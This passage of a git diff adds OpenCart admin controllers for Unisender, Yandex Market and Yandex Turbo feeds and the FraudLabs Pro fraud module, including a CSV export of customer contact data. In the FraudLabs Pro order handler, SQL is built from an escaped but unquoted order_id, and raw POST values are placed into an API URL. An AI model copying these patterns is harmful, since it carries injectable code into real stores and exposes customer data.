+ $this->tdata['heading_title'] = $this->language->get('heading_title');
+ $this->tdata['breadcrumbs'] = $this->getBreadCrumbs();
+ $this->tdata['button_save'] = $this->language->get('button_save');
+ $this->tdata['button_cancel'] = $this->language->get('button_cancel');
+ $this->tdata['text_enabled'] = $this->language->get('text_enabled');
+ $this->tdata['text_disabled'] = $this->language->get('text_disabled');
+ $this->tdata['text_export'] = $this->language->get('text_export');
+ $this->tdata['user_token'] = $this->session->data['user_token'];
+ $this->tdata['text_edit'] = $this->language->get('text_edit');
+ $this->tdata['text_get_key'] = $this->language->get('text_get_key');
+ $this->tdata['text_unselect'] = $this->language->get('text_unselect');
+
+ if (isset($this->error['warning'])) {
+ $this->tdata['error_warning'] = $this->error['warning'];
+ } else {
+ $this->tdata['error_warning'] = '';
+ }
+ $this->tdata['_error'] = $this->error;
+
+ $this->tdata['action'] = $this->url->link('extension/feed/unisender', 'user_token=' . $this->session->data['user_token'], 'SSL');
+
+ $this->tdata['export'] = $this->url->link('extension/feed/unisender/export', 'user_token=' . $this->session->data['user_token'], 'SSL');
+
+ $this->tdata['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', 'SSL');
+
+ $defaults = array(
+ 'feed_unisender_key' => '',
+ 'feed_unisender_subscribtion' => array(),
+ 'feed_unisender_status' => '',
+ 'feed_unisender_ignore' => '',
+ );
+ foreach ($defaults as $key=>$value) {
+ if (isset($this->request->post[$key])) {
+ $defautls[$key] = $this->request->post[$key];
+ }
+ else {
+ $defautls[$key] = $this->config->get($key);
+ }
+ $this->tdata[$key] = $defautls[$key];
+ $this->tdata['entry_'.$key] = $this->language->get('entry_'.$key);
+ if ($this->language->get('entry_'.$key.'_help')) {
+ $this->tdata['entry_'.$key.'_help'] = $this->language->get('entry_'.$key.'_help');
+ }
+ }
+
+ $template = 'extension/feed/unisender';
+ $this->children = array(
+ 'common/header',
+ 'common/footer'
+ );
+
+ $this->tdata['header'] = $this->load->controller('common/header');
+ $this->tdata['column_left'] = $this->load->controller('common/column_left');
+ $this->tdata['footer'] = $this->load->controller('common/footer');
+ $this->response->setOutput($this->load->view($template, $this->tdata));
+ }
+
+ public function export() {
+ header( 'Content-Type: text/csv' );
+ header( 'Content-Disposition: attachment;filename=unisender_contacts.csv');
+ $fp = fopen('php://output', 'w');
+
+ $query = $this->db->query("SELECT CONCAT_WS(' ', firstname, lastname), email, telephone FROM `" . DB_PREFIX . "order` ORDER BY order_id");
+ foreach ($query->rows as $row) {
+ fputcsv($fp, $row);
+ }
+ fclose($fp);
+ }
+
+ public function install() {
+ $this->load->model('setting/event');
+ $this->model_setting_event->addEvent('unisender_subscribe', 'catalog/model/account/customer/addCustomer/after', 'extension/feed/unisender/subscribe_customer');
+ $this->model_setting_event->addEvent('unisender_update', 'catalog/model/account/customer/editNewsletter/after', 'extension/feed/unisender/update');
+ $this->model_setting_event->addEvent('unisender_guest', 'catalog/model/checkout/order/addOrderHistory/before', 'extension/feed/unisender/subscribe_guest');
+ }
+
+ public function uninstall() {
+ $this->load->model('setting/event');
+ $this->model_setting_event->deleteEvent('unisender_subscribe');
+ $this->model_setting_event->deleteEvent('unisender_update');
+ $this->model_setting_event->deleteEvent('unisender_guest');
+ }
+
+ private function validate($post_data) {
+ if (!$this->user->hasPermission('modify', 'extension/feed/unisender')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+ if (!$post_data['feed_unisender_key']) {
+ $this->error['warning'] = $this->language->get('error_form');
+ $this->error['unisender_key'] = $this->language->get('error_empty_field');
+ }
+
+ if (!$this->error || !sizeof($this->error)) {
+ return true;
+ } else {
+ return false;
+ }
+ }
+
+ private function getBreadCrumbs() {
+ $breadcrumbs = array();
+
+ $breadcrumbs[] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/home', 'user_token=' . $this->session->data['user_token'], 'SSL'),
+ 'separator' => false
+ );
+
+ $breadcrumbs[] = array(
+ 'text' => $this->language->get('text_module'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', 'SSL'),
+ 'separator' => ' :: '
+ );
+
+ $breadcrumbs[] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/unisender', 'user_token=' . $this->session->data['user_token'], 'SSL'),
+ 'separator' => ' :: '
+ );
+
+ return $breadcrumbs;
+ }
+}
+?>
diff --git a/public/admin/controller/extension/feed/yandex_market.php b/public/admin/controller/extension/feed/yandex_market.php
new file mode 100644
index 0000000..030bf6a
--- /dev/null
+++ b/public/admin/controller/extension/feed/yandex_market.php
@@ -0,0 +1,311 @@
+load->language('extension/feed/yandex_market');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && ($this->validate())) {
+ if (isset($this->request->post['feed_yandex_market_categories'])) {
+ $this->request->post['feed_yandex_market_categories'] = implode(',', $this->request->post['feed_yandex_market_categories']);
+ }
+
+ if (isset($this->request->post['feed_yandex_market_manufacturers'])) {
+ $this->request->post['feed_yandex_market_manufacturers'] = implode(',', $this->request->post['feed_yandex_market_manufacturers']);
+ }
+
+ $this->model_setting_setting->editSetting('feed_yandex_market', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['error_image_width'])) {
+ $data['error_image_width'] = $this->error['error_image_width'];
+ } else {
+ $data['error_image_width'] = '';
+ }
+
+ if (isset($this->error['error_image_height'])) {
+ $data['error_image_height'] = $this->error['error_image_height'];
+ } else {
+ $data['error_image_height'] = '';
+ }
+
+ if (isset($this->error['error_image_width_min'])) {
+ $data['error_image_width_min'] = $this->error['error_image_width_min'];
+ } else {
+ $data['error_image_width_min'] = '';
+ }
+
+ if (isset($this->error['error_image_height_min'])) {
+ $data['error_image_height_min'] = $this->error['error_image_height_min'];
+ } else {
+ $data['error_image_height_min'] = '';
+ }
+
+ if (isset($this->error['error_image_width_max'])) {
+ $data['error_image_width_max'] = $this->error['error_image_width_max'];
+ } else {
+ $data['error_image_width_max'] = '';
+ }
+
+ if (isset($this->error['error_image_height_max'])) {
+ $data['error_image_height_max'] = $this->error['error_image_height_max'];
+ } else {
+ $data['error_image_height_max'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_feed'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/yandex_market', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/yandex_market', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ if (isset($this->request->post['feed_yandex_market_status'])) {
+ $data['feed_yandex_market_status'] = $this->request->post['feed_yandex_market_status'];
+ } else {
+ $data['feed_yandex_market_status'] = $this->config->get('feed_yandex_market_status');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_secret_key'])) {
+ $data['feed_yandex_market_secret_key'] = $this->request->post['feed_yandex_market_secret_key'];
+ } else {
+ $data['feed_yandex_market_secret_key'] = $this->config->get('feed_yandex_market_secret_key');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_shopname'])) {
+ $data['feed_yandex_market_shopname'] = $this->request->post['feed_yandex_market_shopname'];
+ } else {
+ $data['feed_yandex_market_shopname'] = $this->config->get('feed_yandex_market_shopname');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_company'])) {
+ $data['feed_yandex_market_company'] = $this->request->post['feed_yandex_market_company'];
+ } else {
+ $data['feed_yandex_market_company'] = $this->config->get('feed_yandex_market_company');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_id'])) {
+ $data['feed_yandex_market_id'] = $this->request->post['feed_yandex_market_id'];
+ } elseif ($this->config->has('feed_yandex_market_id')) {
+ $data['feed_yandex_market_id'] = $this->config->get('feed_yandex_market_id');
+ } else {
+ $data['feed_yandex_market_id'] = 'product_id';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_type'])) {
+ $data['feed_yandex_market_type'] = $this->request->post['feed_yandex_market_type'];
+ } else {
+ $data['feed_yandex_market_type'] = $this->config->get('feed_yandex_market_type');
+ }
+
+ $data['code_man'] = array('not_unload', 'name', 'meta_h1', 'meta_title', 'meta_keyword', 'meta_description', 'model', 'sku', 'upc', 'ean', 'jan', 'isbn', 'mpn', 'location');
+
+ if (isset($this->request->post['feed_yandex_market_name'])) {
+ $data['feed_yandex_market_name'] = $this->request->post['feed_yandex_market_name'];
+ } elseif ($this->config->has('feed_yandex_market_name')) {
+ $data['feed_yandex_market_name'] = $this->config->get('feed_yandex_market_name');
+ } else {
+ $data['feed_yandex_market_name'] = 'name';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_model'])) {
+ $data['feed_yandex_market_model'] = $this->request->post['feed_yandex_market_model'];
+ } elseif ($this->config->has('feed_yandex_market_model')) {
+ $data['feed_yandex_market_model'] = $this->config->get('feed_yandex_market_model');
+ } else {
+ $data['feed_yandex_market_model'] = 'model';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_vendorcode'])) {
+ $data['feed_yandex_market_vendorcode'] = $this->request->post['feed_yandex_market_vendorcode'];
+ } elseif ($this->config->has('feed_yandex_market_vendorcode')) {
+ $data['feed_yandex_market_vendorcode'] = $this->config->get('feed_yandex_market_vendorcode');
+ } else {
+ $data['feed_yandex_market_vendorcode'] = 'sku';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image'])) {
+ $data['feed_yandex_market_image'] = $this->request->post['feed_yandex_market_image'];
+ } elseif ($this->config->has('feed_yandex_market_image')) {
+ $data['feed_yandex_market_image'] = $this->config->get('feed_yandex_market_image');
+ } else {
+ $data['feed_yandex_market_image'] = '1';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image_width'])) {
+ $data['feed_yandex_market_image_width'] = $this->request->post['feed_yandex_market_image_width'];
+ } elseif ($this->config->has('feed_yandex_market_image_width')) {
+ $data['feed_yandex_market_image_width'] = $this->config->get('feed_yandex_market_image_width');
+ } else {
+ $data['feed_yandex_market_image_width'] = '600';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image_height'])) {
+ $data['feed_yandex_market_image_height'] = $this->request->post['feed_yandex_market_image_height'];
+ } elseif ($this->config->has('feed_yandex_market_image_height')) {
+ $data['feed_yandex_market_image_height'] = $this->config->get('feed_yandex_market_image_height');
+ } else {
+ $data['feed_yandex_market_image_height'] = '600';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image_quantity'])) {
+ $data['feed_yandex_market_image_quantity'] = $this->request->post['feed_yandex_market_image_quantity'];
+ } elseif ($this->config->has('feed_yandex_market_image_quantity')) {
+ $data['feed_yandex_market_image_quantity'] = $this->config->get('feed_yandex_market_image_quantity');
+ } else {
+ $data['feed_yandex_market_image_quantity'] = '10';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_main_category'])) {
+ $data['feed_yandex_market_main_category'] = $this->request->post['feed_yandex_market_main_category'];
+ } elseif ($this->config->has('feed_yandex_market_main_category')) {
+ $data['feed_yandex_market_main_category'] = $this->config->get('feed_yandex_market_main_category');
+ } else {
+ $data['feed_yandex_market_main_category'] = '1';
+ }
+
+ $this->load->model('catalog/category');
+
+ $data['categories'] = $this->model_catalog_category->getCategories(0);
+
+ if (isset($this->request->post['feed_yandex_market_categories'])) {
+ $data['feed_yandex_market_categories'] = $this->request->post['feed_yandex_market_categories'];
+ } elseif ($this->config->has('feed_yandex_market_categories')) {
+ $data['feed_yandex_market_categories'] = explode(',', $this->config->get('feed_yandex_market_categories'));
+ } else {
+ $data['feed_yandex_market_categories'] = array();
+ }
+
+ $this->load->model('catalog/manufacturer');
+
+ $data['manufacturers'] = $this->model_catalog_manufacturer->getManufacturers(0);
+
+ if (isset($this->request->post['feed_yandex_market_manufacturers'])) {
+ $data['feed_yandex_market_manufacturers'] = $this->request->post['feed_yandex_market_manufacturers'];
+ } elseif ($this->config->has('feed_yandex_market_manufacturers')) {
+ $data['feed_yandex_market_manufacturers'] = explode(',', $this->config->get('feed_yandex_market_manufacturers'));
+ } else {
+ $data['feed_yandex_market_manufacturers'] = array();
+ }
+
+ $this->load->model('localisation/currency');
+
+ $currencies = $this->model_localisation_currency->getCurrencies();
+
+ $allowed_currencies = array_flip(array('RUR', 'RUB', 'USD', 'BYN', 'BYR', 'KZT', 'EUR', 'UAH'));
+
+ $data['currencies'] = array_intersect_key($currencies, $allowed_currencies);
+
+ if (isset($this->request->post['feed_yandex_market_currency'])) {
+ $data['feed_yandex_market_currency'] = $this->request->post['feed_yandex_market_currency'];
+ } else {
+ $data['feed_yandex_market_currency'] = $this->config->get('feed_yandex_market_currency');
+ }
+
+ $this->load->model('localisation/stock_status');
+
+ $data['stock_statuses'] = $this->model_localisation_stock_status->getStockStatuses();
+
+ if (isset($this->request->post['feed_yandex_market_in_stock'])) {
+ $data['feed_yandex_market_in_stock'] = $this->request->post['feed_yandex_market_in_stock'];
+ } elseif ($this->config->get('feed_yandex_market_in_stock')) {
+ $data['feed_yandex_market_in_stock'] = $this->config->get('feed_yandex_market_in_stock');
+ } else {
+ $data['feed_yandex_market_in_stock'] = 7;
+ }
+
+ if (isset($this->request->post['feed_yandex_market_out_of_stock'])) {
+ $data['feed_yandex_market_out_of_stock'] = $this->request->post['feed_yandex_market_out_of_stock'];
+ } elseif ($this->config->get('feed_yandex_market_out_of_stock')) {
+ $data['feed_yandex_market_out_of_stock'] = $this->config->get('feed_yandex_market_out_of_stock');
+ } else {
+ $data['feed_yandex_market_out_of_stock'] = 5;
+ }
+
+ if (isset($this->request->post['feed_yandex_market_quantity_status'])) {
+ $data['feed_yandex_market_quantity_status'] = $this->request->post['feed_yandex_market_quantity_status'];
+ } else {
+ $data['feed_yandex_market_quantity_status'] = $this->config->get('feed_yandex_market_quantity_status');
+ }
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/yandex_market' . ($this->config->get('feed_yandex_market_secret_key') ? '&secret_key=' . $this->config->get('feed_yandex_market_secret_key') : false);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/yandex_market', $data));
+ }
+
+ private function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/yandex_market')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['feed_yandex_market_image_width']) {
+ $this->error['error_image_width'] = $this->language->get('error_image_width');
+ }
+
+ if (!$this->request->post['feed_yandex_market_image_height']) {
+ $this->error['error_image_height'] = $this->language->get('error_image_height');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_width'] < 250) {
+ $this->error['error_image_width_min'] = $this->language->get('error_image_width_min');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_height'] < 250) {
+ $this->error['error_image_height_min'] = $this->language->get('error_image_height_min');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_width'] > 3500) {
+ $this->error['error_image_width_max'] = $this->language->get('error_image_width_max');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_height'] > 3500) {
+ $this->error['error_image_height_max'] = $this->language->get('error_image_height_max');
+ }
+
+ if (!$this->error) {
+ return TRUE;
+ } else {
+ return FALSE;
+ }
+ }
+}
diff --git a/public/admin/controller/extension/feed/yandex_turbo.php b/public/admin/controller/extension/feed/yandex_turbo.php
new file mode 100644
index 0000000..0bd7e68
--- /dev/null
+++ b/public/admin/controller/extension/feed/yandex_turbo.php
@@ -0,0 +1,85 @@
+load->language('extension/feed/yandex_turbo');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_yandex_turbo', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/yandex_turbo', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/yandex_turbo', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ $this->load->model('localisation/currency');
+ $currencies = $this->model_localisation_currency->getCurrencies();
+ $allowed_currencies = array_flip($this->allowed);
+ $data['currencies'] = array_intersect_key($currencies, $allowed_currencies);
+
+ if (isset($this->request->post['feed_yandex_turbo_status'])) {
+ $data['feed_yandex_turbo_status'] = $this->request->post['feed_yandex_turbo_status'];
+ } else {
+ $data['feed_yandex_turbo_status'] = $this->config->get('feed_yandex_turbo_status');
+ }
+
+ if (isset($this->request->post['feed_yandex_turbo_currency'])) {
+ $data['feed_yandex_turbo_currency'] = $this->request->post['feed_yandex_turbo_currency'];
+ } else {
+ $data['feed_yandex_turbo_currency'] = $this->config->get('feed_yandex_turbo_currency');
+ }
+
+ $data['entry_currency'] = $this->language->get('entry_currency');
+ $data['entry_made'] = $this->language->get('entry_made');
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/yandex_turbo';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/yandex_turbo', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/yandex_turbo')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/fraud/fraudlabspro.php b/public/admin/controller/extension/fraud/fraudlabspro.php
new file mode 100644
index 0000000..c17eda0
--- /dev/null
+++ b/public/admin/controller/extension/fraud/fraudlabspro.php
@@ -0,0 +1,331 @@
+load->language('extension/fraud/fraudlabspro');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('fraud_fraudlabspro', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/fraud/fraudlabspro', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/fraud/fraudlabspro', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true);
+
+ if (isset($this->request->post['fraud_fraudlabspro_key'])) {
+ $data['fraud_fraudlabspro_key'] = $this->request->post['fraud_fraudlabspro_key'];
+ } else {
+ $data['fraud_fraudlabspro_key'] = $this->config->get('fraud_fraudlabspro_key');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_score'])) {
+ $data['fraud_fraudlabspro_score'] = $this->request->post['fraud_fraudlabspro_score'];
+ } else {
+ $data['fraud_fraudlabspro_score'] = $this->config->get('fraud_fraudlabspro_score');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_order_status_id'])) {
+ $data['fraud_fraudlabspro_order_status_id'] = $this->request->post['fraud_fraudlabspro_order_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_order_status_id'] = $this->config->get('fraud_fraudlabspro_order_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_review_status_id'])) {
+ $data['fraud_fraudlabspro_review_status_id'] = $this->request->post['fraud_fraudlabspro_review_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_review_status_id'] = $this->config->get('fraud_fraudlabspro_review_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_approve_status_id'])) {
+ $data['fraud_fraudlabspro_approve_status_id'] = $this->request->post['fraud_fraudlabspro_approve_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_approve_status_id'] = $this->config->get('fraud_fraudlabspro_approve_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_reject_status_id'])) {
+ $data['fraud_fraudlabspro_reject_status_id'] = $this->request->post['fraud_fraudlabspro_reject_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_reject_status_id'] = $this->config->get('fraud_fraudlabspro_reject_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_simulate_ip'])) {
+ $data['fraud_fraudlabspro_simulate_ip'] = $this->request->post['fraud_fraudlabspro_simulate_ip'];
+ } else {
+ $data['fraud_fraudlabspro_simulate_ip'] = $this->config->get('fraud_fraudlabspro_simulate_ip');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['fraud_fraudlabspro_status'])) {
+ $data['fraud_fraudlabspro_status'] = $this->request->post['fraud_fraudlabspro_status'];
+ } else {
+ $data['fraud_fraudlabspro_status'] = $this->config->get('fraud_fraudlabspro_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/fraud/fraudlabspro', $data));
+ }
+
+ public function install() {
+ $this->load->model('extension/fraud/fraudlabspro');
+
+ $this->model_extension_fraud_fraudlabspro->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/fraud/fraudlabspro');
+
+ $this->model_extension_fraud_fraudlabspro->uninstall();
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/fraud/fraudlabspro')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['fraud_fraudlabspro_key']) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ return !$this->error;
+ }
+
+ public function order() {
+ $this->load->language('extension/fraud/fraudlabspro');
+
+ $this->load->model('extension/fraud/fraudlabspro');
+
+ // Action of the Approve/Reject button click
+ if (isset($_POST['flp_id'])){
+ $flp_status = $_POST['new_status'];
+ $data['flp_status'] = $flp_status;
+
+ //Feedback FLP status to server
+ $fraud_fraudlabspro_key = $this->config->get('fraud_fraudlabspro_key');
+
+ for($i=0; $i<3; $i++){
+ $result = @file_get_contents('https://api.fraudlabspro.com/v1/order/feedback?key=' . $fraud_fraudlabspro_key . '&format=json&id=' . $_POST['flp_id'] . '&action=' . $flp_status);
+
+ if($result) break;
+ }
+
+ // Update fraud status into table
+ $this->db->query("UPDATE `" . DB_PREFIX . "fraudlabspro` SET fraudlabspro_status = '" . $this->db->escape($flp_status) . "' WHERE order_id = " . $this->db->escape($this->request->get['order_id']));
+
+ //Update history record
+ if (strtolower($flp_status) == 'approve'){
+ $data_temp = array(
+ 'order_status_id'=>$this->config->get('fraud_fraudlabspro_approve_status_id'),
+ 'notify'=>0,
+ 'comment'=>'Approved using FraudLabs Pro.'
+ );
+
+ $this->model_extension_fraud_fraudlabspro->addOrderHistory($this->request->get['order_id'], $data_temp);
+ }
+ else if (strtolower($flp_status) == "reject"){
+ $data_temp = array(
+ 'order_status_id'=>$this->config->get('fraud_fraudlabspro_reject_status_id'),
+ 'notify'=>0,
+ 'comment'=>'Rejected using FraudLabs Pro.'
+ );
+
+ $this->model_extension_fraud_fraudlabspro->addOrderHistory($this->request->get['order_id'], $data_temp);
+ }
+ }
+
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $fraud_info = $this->model_extension_fraud_fraudlabspro->getOrder($order_id);
+
+ if ($fraud_info) {
+ if ($fraud_info['ip_address']) {
+ $data['flp_ip_address'] = $fraud_info['ip_address'];
+ } else {
+ $data['flp_ip_address'] = '';
+ }
+
+ if ($fraud_info['ip_netspeed']) {
+ $data['flp_ip_net_speed'] = $fraud_info['ip_netspeed'];
+ } else {
+ $data['flp_ip_net_speed'] = '';
+ }
+
+ if ($fraud_info['ip_isp_name']) {
+ $data['flp_ip_isp_name'] = $fraud_info['ip_isp_name'];
+ } else {
+ $data['flp_ip_isp_name'] = '';
+ }
+
+ if ($fraud_info['ip_usage_type']) {
+ $data['flp_ip_usage_type'] = $fraud_info['ip_usage_type'];
+ } else {
+ $data['flp_ip_usage_type'] = '';
+ }
+
+ if ($fraud_info['ip_domain']) {
+ $data['flp_ip_domain'] = $fraud_info['ip_domain'];
+ } else {
+ $data['flp_ip_domain'] = '';
+ }
+
+ if ($fraud_info['ip_timezone']) {
+ $data['flp_ip_time_zone'] = $fraud_info['ip_timezone'];
+ } else {
+ $data['flp_ip_time_zone'] = '';
+ }
+
+ if ($fraud_info['ip_country']) {
+ $data['flp_ip_location'] = $this->fix_case($fraud_info['ip_continent']) . ", " . $fraud_info['ip_country'] . ", " . $fraud_info['ip_region'] . ", " . $fraud_info['ip_city'] . " [Map]";
+ } else {
+ $data['flp_ip_location'] = '-';
+ }
+
+ if ($fraud_info['distance_in_mile'] != '-') {
+ $data['flp_ip_distance'] = $fraud_info['distance_in_mile'] . " miles";
+ } else {
+ $data['flp_ip_distance'] = '';
+ }
+
+ if ($fraud_info['ip_latitude']) {
+ $data['flp_ip_latitude'] = $fraud_info['ip_latitude'];
+ } else {
+ $data['flp_ip_latitude'] = '';
+ }
+
+ if ($fraud_info['ip_longitude']) {
+ $data['flp_ip_longitude'] = $fraud_info['ip_longitude'];
+ } else {
+ $data['flp_ip_longitude'] = '';
+ }
+
+ if ($fraud_info['is_high_risk_country']) {
+ $data['flp_risk_country'] = $fraud_info['is_high_risk_country'];
+ } else {
+ $data['flp_risk_country'] = '';
+ }
+
+ if ($fraud_info['is_free_email']) {
+ $data['flp_free_email'] = $fraud_info['is_free_email'];
+ } else {
+ $data['flp_free_email'] = '';
+ }
+
+ if ($fraud_info['is_address_ship_forward']) {
+ $data['flp_ship_forward'] = $fraud_info['is_address_ship_forward'];
+ } else {
+ $data['flp_ship_forward'] = '';
+ }
+
+ if ($fraud_info['is_proxy_ip_address']) {
+ $data['flp_using_proxy'] = $fraud_info['is_proxy_ip_address'];
+ } else {
+ $data['flp_using_proxy'] = '';
+ }
+
+ if ($fraud_info['is_bin_found']) {
+ $data['flp_bin_found'] = $fraud_info['is_bin_found'];
+ } else {
+ $data['flp_bin_found'] = '';
+ }
+
+ if ($fraud_info['is_email_blacklist']) {
+ $data['flp_email_blacklist'] = $fraud_info['is_email_blacklist'];
+ } else {
+ $data['flp_email_blacklist'] = '';
+ }
+
+ if ($fraud_info['is_credit_card_blacklist']) {
+ $data['flp_credit_card_blacklist'] = $fraud_info['is_credit_card_blacklist'];
+ } else {
+ $data['flp_credit_card_blacklist'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_score']) {
+ $data['flp_score'] = $fraud_info['fraudlabspro_score'];
+ } else {
+ $data['flp_score'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_status']) {
+ $data['flp_status'] = $fraud_info['fraudlabspro_status'];
+ } else {
+ $data['flp_status'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_message']) {
+ $data['flp_message'] = $fraud_info['fraudlabspro_message'];
+ } else {
+ $data['flp_message'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_id']) {
